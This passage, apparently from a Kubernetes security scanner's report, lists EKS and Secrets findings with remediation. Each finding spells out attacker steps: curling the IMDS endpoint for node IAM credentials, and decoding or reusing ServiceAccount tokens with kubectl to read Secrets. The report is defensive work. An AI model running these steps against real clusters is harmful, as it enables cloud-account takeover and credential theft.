  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"vulnerable/socket-mounts-app"
reason
"no-egress-policy"
sa
"vulnerable/default"
workload
"Deployment/vulnerable/socket-mounts-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "vulnerable/socket-mounts-app",
  "reason": "no-egress-policy",
  "sa": "vulnerable/default",
  "workload": "Deployment/vulnerable/socket-mounts-app"
}
HIGH ServiceAccount/gw-workloads/default Workload 8.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/gw-workloads/default Resource: Job/gw-workloads/gw-batch

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceJob

A Job executes one or more pods that must complete successfully. Jobs are a common attacker mechanism for one-shot privilege use ("create a Job that mounts the host filesystem, do the thing, exit").

TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"gw-workloads/gw-batch"
reason
"no-egress-policy"
sa
"gw-workloads/default"
workload
"Job/gw-workloads/gw-batch"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "gw-workloads/gw-batch",
  "reason": "no-egress-policy",
  "sa": "gw-workloads/default",
  "workload": "Job/gw-workloads/gw-batch"
}
HIGH ServiceAccount/foothold-exec/foothold-decoy-sa Workload 8.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/foothold-exec/foothold-decoy-sa Resource: Pod/foothold-exec/foothold-decoy

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourcePod

A Pod wraps one or more containers that share an IP, hostname, and volumes. From an attacker's perspective, a pod is a foothold: the API token mounted into it grants the pod's ServiceAccount permissions; if the pod is privileged or mounts the host filesystem, it's also a path to escape onto the node.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"foothold-exec/foothold-decoy"
reason
"no-egress-policy"
sa
"foothold-exec/foothold-decoy-sa"
workload
"Pod/foothold-exec/foothold-decoy"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "foothold-exec/foothold-decoy",
  "reason": "no-egress-policy",
  "sa": "foothold-exec/foothold-decoy-sa",
  "workload": "Pod/foothold-exec/foothold-decoy"
}
LOW

Pod talks to AWS but its ServiceAccount has no IRSA annotation

KUBE-CLOUD-IRSA-MISSING-001 1 subject Score 3.5

Affected subject

LOW ServiceAccount/cloud-eks-test/default Workload 3.5
Pod talks to AWS but its ServiceAccount has no IRSA annotation
Scope · Workload Workload cloud-eks-test/Deployment/imds-pivot-app
Category: Privilege Escalation Subject: ServiceAccount/cloud-eks-test/default Resource: Deployment/cloud-eks-test/imds-pivot-app

Pod cloud-eks-test/imds-pivot-app shows AWS-SDK hints (image: aws-cli) but its ServiceAccount cloud-eks-test/default carries no eks.amazonaws.com/role-arn annotation. Without IRSA, AWS SDKs typically fall back to the node's IMDS-served instance profile, which gives every workload on that node the same AWS privileges.

How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
Remediation
Create a least-privilege IAM role for the workload and annotate its ServiceAccount with eks.amazonaws.com/role-arn.
Evidence
hintKind
"image"
matchedHint
"aws-cli"
pod
"cloud-eks-test/imds-pivot-app"
sa
"cloud-eks-test/default"
Show raw JSON
{
  "hintKind": "image",
  "matchedHint": "aws-cli",
  "pod": "cloud-eks-test/imds-pivot-app",
  "sa": "cloud-eks-test/default"
}
LOW

EKS access entries were not evaluated: IAM-to-Kubernetes mappings are unknown to this scan

KUBE-CLOUD-ACCESSENTRY-NOT-EVALUATED-001 1 subject Score 2.0
MITRE ATT&CK: T1078

Affected subject

LOW EKS access entries were not evaluated: IAM-to-Kubernetes mappings are unknown to this scan Cluster 2.0
EKS access entries were not evaluated: IAM-to-Kubernetes mappings are unknown to this scan
Scope · Cluster Cluster-wide coverage gap: the EKS access-entry half of IAM authentication was not available to the analyzer.
Category: Privilege Escalation

This snapshot is from an EKS cluster, but no access-entries export was supplied (scan --eks-access-entries <file>). EKS access entries are the control-plane replacement for the aws-auth ConfigMap and the default for clusters created since late 2023; they live in the EKS API, so the collector cannot read them from inside the cluster. Every IAM-to-Kubernetes mapping made through an access entry, including AmazonEKSClusterAdminPolicy grants, is therefore unknown to this scan.

Impact IAM principals holding cluster-admin through access entries are not reported. The aws-auth ConfigMap was analyzed, so mappings made there are covered.
How an attacker abuses this
  1. An IAM principal is granted AmazonEKSClusterAdminPolicy through an access entry during onboarding and never reviewed.
  2. The cluster is scanned from inside only. The grant is not a Kubernetes object, so the report shows no overbroad IAM mapping.
  3. The principal's credentials leak. The attacker is cluster-admin, and the last clean report is cited as evidence nothing was wrong.
Remediation
Export the cluster's access entries with scripts/eks-access-entries.sh <cluster> > entries.json (read-only: eks:DescribeCluster, eks:ListAccessEntries, eks:DescribeAccessEntry, eks:ListAssociatedAccessPolicies) and re-run with --eks-access-entries entries.json.
  1. Run scripts/eks-access-entries.sh <cluster> [--region <region>] > entries.json with credentials that can describe the cluster.
  2. Re-run kubesplaining scan --eks-access-entries entries.json .... The KUBE-CLOUD-ACCESSENTRY-* rules then evaluate every entry and this finding disappears.
  3. If the export cannot be produced, audit the entries AWS-side: aws eks list-access-entries, AWS Config rule eks-access-entry-no-admin, or Prowler's EKS checks.
Evidence
accessEntriesLoaded
false
awsAuthConfigMapPresent
true
hint
"scripts/eks-access-entries.sh \u003ccluster\u003e \u003e entries.json \u0026\u0026 kubesplaining scan --eks-access-entries entries.json"
Show raw JSON
{
  "accessEntriesLoaded": false,
  "awsAuthConfigMapPresent": true,
  "hint": "scripts/eks-access-entries.sh \u003ccluster\u003e \u003e entries.json \u0026\u0026 kubesplaining scan --eks-access-entries entries.json"
}

Secrets & ConfigMaps

14 findings · 6 rules · 0 critical · 3 high · 9 medium · 2 low
HIGH

Secret vulnerable/legacy-token is a long-lived kubernetes.io/service-account-token (legacy, no expiry)

KUBE-SECRETS-001 1 subject Score 7.8

Affected subject

HIGH Secret/vulnerable/legacy-token Object 7.8
Secret vulnerable/legacy-token is a long-lived kubernetes.io/service-account-token (legacy, no expiry)
Scope · Object Secret vulnerable/legacy-token: credential is valid until manually deleted; readable by any subject with get/list secrets in vulnerable
Category: Data Exfiltration Resource: Secret/vulnerable/legacy-token Namespace: vulnerable

Secret vulnerable/legacy-token has type kubernetes.io/service-account-token. This is the legacy ServiceAccount token model: the token-controller persists a JWT into a Secret, the token has *no expiry* (the audience is the API server, the validity is open-ended), and it is readable by any subject with get/list secrets permission in the namespace.

Since Kubernetes v1.22, Bound ServiceAccount Tokens (KEP-1205) replaced this model: the kubelet projects a *new* token into the pod's filesystem with a short TTL (default 1h) and the token is bound to the pod object, so deleting the pod invalidates the token. v1.24 stopped auto-creating these legacy Secret tokens, and v1.27+ ships the LegacyServiceAccountTokenCleaner controller that removes unused ones automatically. A legacy token Secret today is either an artifact of a pre-1.24 cluster, a manually-created serviceAccountToken Secret, or a controller that explicitly created one. None of these carry the bind-to-pod, time-bounded properties of projected tokens.

The risk profile: a leaked legacy token grants whatever permissions its ServiceAccount has, *forever*, with no automatic revocation. It survives Pod restarts, node reboots, audit events, and rotation of the SA itself. Detection of misuse requires explicit audit-log monitoring against the SA name; rotation requires deleting the Secret and reissuing.

Impact Anyone who exfiltrates this Secret holds a non-expiring credential with the ServiceAccount's full RBAC; rotation requires manual kubectl delete secret and re-issue, and there is no time-based mitigation.
How an attacker abuses this
Background
ResourceSecret

A Secret holds sensitive data: registry pull credentials, TLS private keys, ServiceAccount tokens. Secrets are base64-encoded, not encrypted by default. Anyone with get on the Secret resource can read the contents in cleartext. get/list/watch on Secrets in kube-system is effectively cluster-admin: that namespace holds the controller-manager and kube-scheduler tokens.

Kubernetes docs ↗
  1. Attacker compromises any subject with get secrets in vulnerable (e.g., a forgotten view-style role, an over-permissive ConfigMap-reader role that wildcards resources, or a pod token with secret-read).
  2. They kubectl get secret legacy-token -n vulnerable -o jsonpath='{.data.token}' | base64 -d and obtain the raw JWT.
  3. They use the token against the kube-apiserver from outside the cluster (kubectl --token=...). No pod, no node, no IMDS hop required.
  4. Because the token has no exp claim and no audience binding to a Pod, it remains valid weeks or months later. Rotation in IR is manual: delete the Secret + recreate, and any cached copies attacker has are *still valid until that delete*.
  5. Attacker uses the SA's RBAC to read other Secrets, list pods cluster-wide (if SA has it), exec into pods, or escalate via any of the privesc paths the SA enables.
Remediation
Migrate the consumer of vulnerable/legacy-token to a projected ServiceAccount token, then delete the Secret. Enable LegacyServiceAccountTokenCleaner on the cluster.
  1. Identify what reads vulnerable/legacy-token: kubectl get pods -A -o json | jq '.items[] | select(.spec.volumes[]?.secret.secretName == "legacy-token") | .metadata.namespace + "/" + .metadata.name'. Also check Jobs, CronJobs, and external systems that might have copied the token out.
  2. Migrate each consumer to a projected SA token (serviceAccountToken projection in volumes) with a sensible expirationSeconds (e.g., 3600). The kubelet will refresh it automatically.
  3. For external consumers (CI runners, dashboards) that need a long-lived token, use TokenRequest API on demand instead of a stored Secret, or rotate via a sealed-secret / external-secret-store flow.
  4. kubectl delete secret legacy-token -n vulnerable once consumers are migrated. Confirm no pod has a CrashLoopBackOff that mentions the missing token.
  5. Enable the LegacyServiceAccountTokenCleaner (default on v1.29+) so future stragglers get garbage-collected after their last-used timestamp ages out.
Evidence
Typekubernetes.io/service-account-token
Long-lived ServiceAccount token (holding it is acting as the SA)
Show raw JSON
{
  "type": "kubernetes.io/service-account-token"
}
HIGH

ConfigMap secrets-bundle/app-credentials has key aws_secret_access_key matching a credential-name pattern

KUBE-CONFIGMAP-CREDS-001 2 subjects Score 7.4

Affected subjects (2)

HIGH ConfigMap/secrets-bundle/app-credentials Object 7.4
ConfigMap secrets-bundle/app-credentials has key aws_secret_access_key matching a credential-name pattern
Scope · Object ConfigMap secrets-bundle/app-credentials: key aws_secret_access_key is readable in plaintext to every subject with get configmaps in secrets-bundle and lands in unencrypted etcd, audit logs, and cluster backups.
Category: Data Exfiltration Resource: ConfigMap/secrets-bundle/app-credentials Namespace: secrets-bundle

ConfigMap secrets-bundle/app-credentials contains the key aws_secret_access_key. The key name matches a high-confidence credential pattern (password, passwd, secret, token, api_key/apikey, aws_secret_access_key, dsn, connection_string, etc.). The kubesplaining collector preserves ConfigMap keys but redacts values to maintain the cluster's privacy contract, so this rule cannot inspect the value, only the key name.

The risk is the same as KUBE-CONFIGMAP-001: ConfigMap data is non-sensitive by design. etcd does not encrypt it (encryption-at-rest is opt-in and almost always limited to Secrets), kubectl describe configmap prints values inline, audit logs include payloads on get/list, and the namespace-default view and edit cluster-role bindings give workload SAs much wider read on ConfigMaps than on Secrets. Storing a credential in a ConfigMap therefore exposes it to a *much larger* set of subjects than the equivalent Secret would.

Because this rule fires per-(ConfigMap, key) pair (versus KUBE-CONFIGMAP-001 which surfaces a list of matched keys per ConfigMap), it produces a more granular finding stream. Use it for triage when you have many ConfigMaps to audit. Keys that match in name but not intent (password_strength_requirement, api_key_format_version, cache_key_prefix) are expected false positives: review the value out-of-band before treating as a real leak.

Impact If the value of aws_secret_access_key in secrets-bundle/app-credentials is a real credential, that credential is exposed to every subject with get configmaps in secrets-bundle, which is typically every workload SA in the namespace via the default view cluster role.
How an attacker abuses this
Background
ResourceConfigMap

A ConfigMap stores plain-text configuration that pods read at startup. They are not meant to hold secrets, but in practice teams put database URLs (with passwords), API keys, and tokens in ConfigMaps. Kubesplaining flags credential-shaped keys for that reason.

  1. Attacker compromises any workload in secrets-bundle whose ServiceAccount has get configmaps (the namespace-default view cluster role grants it; most pods running with the namespace default SA have it transitively).
  2. They kubectl get configmap app-credentials -n secrets-bundle -o yaml and read data.aws_secret_access_key directly. ConfigMap values are plaintext: no decoding required.
  3. They identify the credential class from the value's shape (postgres://user:pass@host/db is a DSN, eyJ... is a JWT, AKIA-prefixed strings are AWS keys, xoxb- is Slack, ghp_ is a GitHub token).
  4. They use the credential immediately. ConfigMap-stored credentials almost never have IP allowlists, short TTLs, or rotation automation: they were put in a ConfigMap *because* the team didn't want operational complexity.
  5. Detection lags. Audit-log review on ConfigMaps is rare in most clusters because ConfigMap reads are dominated by legitimate config-loading. The compromise typically surfaces only when the upstream credential is rotated for unrelated reasons.
Remediation
Verify whether aws_secret_access_key in secrets-bundle/app-credentials actually holds a credential; if so, move it to a Secret (or external secret store) and remove the key from the ConfigMap.
  1. Inspect the value: kubectl get cm app-credentials -n secrets-bundle -o jsonpath='{.data.aws_secret_access_key}'. Confirm whether it's a real credential or a benign config (a feature-flag name, a cache prefix, a strength-requirement string).
  2. If it's a real credential, rotate at the source first (cloud IAM, OIDC IDP, registry, database). Treat the original value as fully exposed: anyone with view on secrets-bundle could have read it.
  3. Create a Secret with the new value: kubectl create secret generic app-credentials-credentials -n secrets-bundle --from-literal=aws_secret_access_key=$NEW. Update consumers to read from the Secret via envFrom or volume mount instead of valueFrom: configMapKeyRef.
  4. Remove the key from the ConfigMap: kubectl patch cm app-credentials -n secrets-bundle --type=json -p='[{"op":"remove","path":"/data/aws_secret_access_key"}]'. Verify consumers still work (kubectl rollout status).
  5. Wire prevention: a Kyverno ClusterPolicy that warns on ConfigMap.data keys matching password|secret|token|api_?key|aws_secret_access_key|dsn|connection_string. Pair with External Secrets Operator so the path of least resistance is to use a real secret store.
Evidence
Namespacesecrets-bundle
matched_key
"aws_secret_access_key"
Show raw JSON
{
  "matched_key": "aws_secret_access_key",
  "namespace": "secrets-bundle"
}
HIGH ConfigMap/vulnerable/app-config Object 7.4
ConfigMap vulnerable/app-config has key api_token matching a credential-name pattern
Scope · Object ConfigMap vulnerable/app-config: key api_token is readable in plaintext to every subject with get configmaps in vulnerable and lands in unencrypted etcd, audit logs, and cluster backups.
Category: Data Exfiltration Resource: ConfigMap/vulnerable/app-config Namespace: vulnerable

ConfigMap vulnerable/app-config contains the key api_token. The key name matches a high-confidence credential pattern (password, passwd, secret, token, api_key/apikey, aws_secret_access_key, dsn, connection_string, etc.). The kubesplaining collector preserves ConfigMap keys but redacts values to maintain the cluster's privacy contract, so this rule cannot inspect the value, only the key name.

The risk is the same as KUBE-CONFIGMAP-001: ConfigMap data is non-sensitive by design. etcd does not encrypt it (encryption-at-rest is opt-in and almost always limited to Secrets), kubectl describe configmap prints values inline, audit logs include payloads on get/list, and the namespace-default view and edit cluster-role bindings give workload SAs much wider read on ConfigMaps than on Secrets. Storing a credential in a ConfigMap therefore exposes it to a *much larger* set of subjects than the equivalent Secret would.

Because this rule fires per-(ConfigMap, key) pair (versus KUBE-CONFIGMAP-001 which surfaces a list of matched keys per ConfigMap), it produces a more granular finding stream. Use it for triage when you have many ConfigMaps to audit. Keys that match in name but not intent (password_strength_requirement, api_key_format_version, cache_key_prefix) are expected false positives: review the value out-of-band before treating as a real leak.

Impact If the value of api_token in vulnerable/app-config is a real credential, that credential is exposed to every subject with get configmaps in vulnerable, which is typically every workload SA in the namespace via the default view cluster role.
How an attacker abuses this
Background
ResourceConfigMap

A ConfigMap stores plain-text configuration that pods read at startup. They are not meant to hold secrets, but in practice teams put database URLs (with passwords), API keys, and tokens in ConfigMaps. Kubesplaining flags credential-shaped keys for that reason.

  1. Attacker compromises any workload in vulnerable whose ServiceAccount has get configmaps (the namespace-default view cluster role grants it; most pods running with the namespace default SA have it transitively).
  2. They kubectl get configmap app-config -n vulnerable -o yaml and read data.api_token directly. ConfigMap values are plaintext: no decoding required.
  3. They identify the credential class from the value's shape (postgres://user:pass@host/db is a DSN, eyJ... is a JWT, AKIA-prefixed strings are AWS keys, xoxb- is Slack, ghp_ is a GitHub token).
  4. They use the credential immediately. ConfigMap-stored credentials almost never have IP allowlists, short TTLs, or rotation automation: they were put in a ConfigMap *because* the team didn't want operational complexity.
  5. Detection lags. Audit-log review on ConfigMaps is rare in most clusters because ConfigMap reads are dominated by legitimate config-loading. The compromise typically surfaces only when the upstream credential is rotated for unrelated reasons.
Remediation
Verify whether api_token in vulnerable/app-config actually holds a credential; if so, move it to a Secret (or external secret store) and remove the key from the ConfigMap.
  1. Inspect the value: kubectl get cm app-config -n vulnerable -o jsonpath='{.data.api_token}'. Confirm whether it's a real credential or a benign config (a feature-flag name, a cache prefix, a strength-requirement string).
  2. If it's a real credential, rotate at the source first (cloud IAM, OIDC IDP, registry, database). Treat the original value as fully exposed: anyone with view on vulnerable could have read it.
  3. Create a Secret with the new value: kubectl create secret generic app-config-credentials -n vulnerable --from-literal=api_token=$NEW. Update consumers to read from the Secret via envFrom or volume mount instead of valueFrom: configMapKeyRef.
  4. Remove the key from the ConfigMap: kubectl patch cm app-config -n vulnerable --type=json -p='[{"op":"remove","path":"/data/api_token"}]'. Verify consumers still work (kubectl rollout status).
  5. Wire prevention: a Kyverno ClusterPolicy that warns on ConfigMap.data keys matching password|secret|token|api_?key|aws_secret_access_key|dsn|connection_string. Pair with External Secrets Operator so the path of least resistance is to use a real secret store.
Evidence
Namespacevulnerable
matched_key
"api_token"
Show raw JSON
{
  "matched_key": "api_token",
  "namespace": "vulnerable"
}
MEDIUM

ServiceAccount foothold-exec/foothold-decoy-sa can read Secrets in namespace (cluster-wide) (used by workloads in foothold-exec)

KUBE-SECRETS-CROSSNS-001 6 subjects Score 6.4

Affected subjects (6)

MEDIUM ServiceAccount/foothold-exec/foothold-decoy-sa Namespace 6.4
ServiceAccount foothold-exec/foothold-decoy-sa can read Secrets in namespace (cluster-wide) (used by workloads in foothold-exec)
Scope · Namespace ServiceAccount foothold-exec/foothold-decoy-sa mounted in foothold-exec: holds get/list/watch on secrets in (cluster-wide) via foothold-decoy-admin/cluster-admin. A pod-to-API-server compromise reads every Secret in the target namespace.
Category: Lateral Movement Subject: ServiceAccount/foothold-exec/foothold-decoy-sa Resource: ServiceAccount/foothold-exec/foothold-decoy-sa

ServiceAccount foothold-exec/foothold-decoy-sa is mounted by workload(s) Pod/foothold-decoy and has RBAC permission to get/list/watch Secrets in namespace (cluster-wide), granted by foothold-decoy-admin (referencing cluster-admin). Namespace foothold-exec is the namespace the SA *lives in*; namespace (cluster-wide) is *different*. The grant therefore lets a compromised pod in foothold-exec enumerate or read every Secret in (cluster-wide) via the projected SA token, without leaving the namespace it runs in.

This pattern is the most common lateral-movement primitive in production K8s clusters because the namespace boundary is the platform's primary isolation surface. Network policies, PSA labels, ResourceQuotas, image-pull credentials, and audit groupings all key on namespace. An RBAC grant that punches through the boundary collapses that isolation for the secret-read axis: the attacker doesn't need a network path, doesn't need a pod-create, doesn't need to escape to the node, they just kubectl get secret -n <other-namespace> with the projected token.

Three patterns produce this finding in real clusters: (1) a shared ClusterRole (e.g. secret-reader) bound to a workload SA via a ClusterRoleBinding, granting it cluster-wide read; (2) a multi-tenant operator (Vault sync, External Secrets Operator, cert-manager) deliberately granted cross-namespace read but with a wider scope than the operator actually needs; (3) a copy-pasted Helm chart's ClusterRole that was meant to be a Role. Each is fixable by replacing the grant with namespace-scoped Roles, restricting resourceNames, or moving the consumer into the target namespace.

Impact Anyone who compromises a pod running as foothold-exec/foothold-decoy-sa can read every Secret in (cluster-wide) over the projected SA token, without needing a network egress, host escape, or RBAC modification. Lateral movement to the credentials of every workload in (cluster-wide) becomes a single kubectl get secret away.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker gains code execution inside a pod running as foothold-exec/foothold-decoy-sa (RCE on the application, dependency confusion, supply chain compromise of a base image, etc.).
  2. They read the projected SA token at /var/run/secrets/kubernetes.io/serviceaccount/token.
  3. They run kubectl --token=$(cat ...) get secrets -n (cluster-wide) against the in-cluster API server. RBAC permits it because foothold-decoy-admin/cluster-admin was granted across the namespace boundary.
  4. They harvest every Secret in (cluster-wide): TLS keys, OAuth client secrets, database passwords, registry pull credentials, ServiceAccount tokens, cloud provider IAM keys.
  5. They use the harvested credentials laterally: pivot to the cloud account, push a malicious image to the registry, authenticate as another workload's SA, sign their own short-lived tokens via TokenRequest, etc. The original foothold-exec/foothold-decoy-sa pod is now optional; the cluster's secrets are exfiltrated.
Remediation
Replace the cross-namespace grant with the narrowest possible scope: a Role in (cluster-wide) (not a ClusterRole), resourceNames for the specific Secrets the workload needs, or move the consumer into (cluster-wide).
  1. Identify what the pod *actually* reads. kubectl logs and audit logs for objectRef.resource=secrets will show the specific Secret names. Most cross-namespace grants are over-broad: the workload only needs 1-2 Secrets, not the whole namespace.
  2. Replace the grant. Prefer (in order): (a) move the workload into (cluster-wide) so the grant becomes intra-namespace, (b) replace the ClusterRoleBinding with a RoleBinding in (cluster-wide) that points to a Role, (c) restrict the Role to resourceNames: [foo, bar] for the specific Secrets needed.
  3. For multi-tenant operators (External Secrets Operator, Vault sync, cert-manager), use the operator's per-namespace SecretStore / ClusterSecretStore selector mechanism instead of granting cluster-wide RBAC. The operator's docs document the right scoping.
  4. Audit the binding. kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]?.name == "foothold-decoy-sa" and .subjects[]?.namespace == "foothold-exec")' shows everything that grants this SA cross-namespace read.
  5. Wire enforcement: a Kyverno or Gatekeeper ClusterPolicy that warns/blocks any RoleBinding that points a non-system ClusterRole at a workload SA, or any ClusterRole that grants secrets:get without a resourceNames constraint.
Evidence
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingfoothold-decoy-admin
Inspect: kubectl get clusterrolebinding foothold-decoy-admin -o yaml
Show raw JSON
{
  "source_binding": "foothold-decoy-admin",
  "source_role": "cluster-admin",
  "target_namespace": "",
  "verbs": [
    "*"
  ]
}
MEDIUM ServiceAccount/foothold-exec/foothold-reader Namespace 6.4
ServiceAccount foothold-exec/foothold-reader can read Secrets in namespace kube-system (used by workloads in foothold-exec)
